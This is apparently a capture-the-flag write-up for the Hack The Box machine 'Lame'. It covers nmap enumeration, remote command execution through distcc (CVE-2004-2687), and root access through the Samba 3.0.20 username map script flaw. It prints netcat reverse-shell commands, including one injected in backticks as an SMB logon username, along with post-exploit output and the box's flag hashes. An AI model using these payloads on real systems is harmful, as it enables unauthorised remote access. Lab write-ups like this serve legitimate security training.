Nmap Results
# Nmap 7.93 scan initiated Fri Mar 17 19:10:10 2023 as: nmap -Pn -T4 -A -p- -oN scan.txt 10.10.10.3
Nmap scan report for 10.10.10.3
Host is up (0.013s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.5
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
|_ 2048 5656240f211ddea72bae61b1243de8f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: DD-WRT v24-sp1 (Linux 2.4.36) (92%), Dell Integrated Remote Access Controller (iDRAC6) (92%), Linksys WET54GS5 WAP, Tranzeo TR-CPQ-19f WAP, or Xerox WorkCentre Pro 265 printer (92%), Linux 2.4.21 - 2.4.31 (likely embedded) (92%), Linux 2.6.27 - 2.6.28 (92%), Linux 2.6.8 - 2.6.30 (92%), Dell iDRAC 6 remote access controller (Linux 2.6) (92%), Supermicro IPMI BMC (Linux 2.6.24) (92%), Raritan Dominion PX DPXR20-20L power control unit (92%), LifeSize video conferencing system (Linux 2.4.21) (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2023-03-17T19:12:08-04:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 2h00m11s, deviation: 2h49m44s, median: 9s
|_smb2-time: Protocol negotiation failed (SMB2)
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 12.50 ms 10.10.14.1
2 12.94 ms 10.10.10.3
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 17 19:12:35 2023 -- 1 IP address (1 host up) scanned in 145.14 secondsService Enumeration
TCP/21
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
We can login, but it does not look like file upload is possible. There does appear to be a public exploit for this version of vsftpd.
I'll hang onto this info for now while I enumerate some other services.
TCP/139,445
Host script results:
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.grEnumerating SMB Shares
Tmp Share
The log file does not contain any helpful information and appears to be a SAML authentication log for some service.
Opt Share
TCP/3632
This is the first time I've encountered this service. Of course, HackTricks has an article testing it. The HackTricks article references a nmap script name of distcc-exec, but that is not a valid script name on my nmap install. I found the script by using the find command.
find /usr/share/nmap/scripts -name '*distcc*'sudo nmap -Pn -p3632 --script distcc-cve2004-2687 --script-args="distcc-cve2004-2687.cmd='id'" $target
Well, that's interesting! We got remote command execution on the target via this service. Let's learn a bit more about this vulnerability, CVE-2004-2687.
Looking at that Nmap script, we can understand more about how the payload works. The distcc server is intended to be used to distribute compilation jobs across a set of hosts. The idea is to share the compute power to compile applications.
This vulnerability is possible if efforts are not taken to control who can connect to the distcc server.
In this Nmap script, we're sending the distcc server a dummy application to compile which will run our command using sh -c.
Exploit
The distcc service can be used for remote command execution on the target, which we should be able to use to get a reverse shell.
We can see that netcat is installed on the box. I can't tell if this version of nc will execute the -e parameter, but let's just give it a shot.
Start a Listener
sudo rlwrap nc -lnvp 8080Test Netcat Reverse Shell
sudo nmap -Pn -p3632 --script distcc-cve2004-2687 --script-args="distcc-cve2004-2687.cmd='nc <kali-vpn-ip> <port> -e /bin/bash'" $target
Upgrade to TTY: python -c "import pty; pty.spawn('/bin/bash')".
Post-Exploit Enumeration
Operating Environment
OS & Kernel
uname -a
Linux lame 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Current User
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Users and Groups
Local Users
makis:x:1003:1003::/home/makis:/bin/sh
Local Groups
makis:x:1003:
Network Configurations
Interfaces
eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 00:50:56:b9:09:16 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.3/24 brd 10.10.10.255 scope global eth0
inet6 dead:beef::250:56ff:feb9:916/64 scope global dynamic
valid_lft 86398sec preferred_lft 14398sec
inet6 fe80::250:56ff:feb9:916/64 scope link
valid_lft forever preferred_lft forever
Open Ports
tcp 0 0 0.0.0.0:512 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:513 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:2049 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:514 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8009 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:6697 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:1099 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:6667 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:5900 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:59918 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8787 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8180 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:1524 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN -
tcp 0 0 10.10.10.3:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:45367 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:5432 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:953 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:58715 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:35198 0.0.0.0:* LISTEN -
tcp6 0 0 :::2121 :::* LISTEN -
tcp6 0 0 :::3632 :::* LISTEN -
tcp6 0 0 :::53 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::5432 :::* LISTEN -
tcp6 0 0 ::1:953 :::* LISTEN -
Processes and Services
Interesting Processes
mysql 5159 0.0 3.3 127560 17028 ? Sl 20:09 0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 --socket=/var/run/mysqld/mysqld.sock
postgres 5240 0.0 0.9 41340 5076 ? S 20:09 0:00 /usr/lib/postgresql/8.3/bin/postgres -D /var/lib/postgresql/8.3/main -c config_file=/etc/postgresql/8.3/main/postgresql.conf
snmp 5421 0.0 0.7 8488 3764 ? S 20:09 0:00 /usr/sbin/snmpd -Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 127.0.0.1
root 5585 0.0 0.4 10596 2560 ? Ss 20:10 0:00 /usr/sbin/apache2 -k start
Interesting Files
/root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable
Privilege Escalation
After prodding through various ports, services, and inspecting installed packages, I ran some service versions through searchsploit and came back with a good match on a vulnerable Samba server, 3.0.20. This should get us a root shell, since the service is being run by root.
Let's take a look at the expoit and understand how it works.
Per the CVE, the username map script option should be enabled in /etc/samba/smb.conf.
Since, that option appears to be enabled, we should be good to dig further into the exploit.
So, it looks like we need to just pass a command inside of backticks as the username when connecting to the SMB service. Let's try exploititng this manually.
Start a Listener
sudo rlwrap nc -lnvp 8888Exploit SMB
# Connect to the service
smbclient //10.10.10.3/tmp
smb: \> logon "/=`nohup nc <kali-vpn-ip> <port> -e /bin/bash`"
Flags
User
e960ca0eebb81de7347ca3d30c9538d4
Root
59fd34e00694d126daf9cf32929630bb
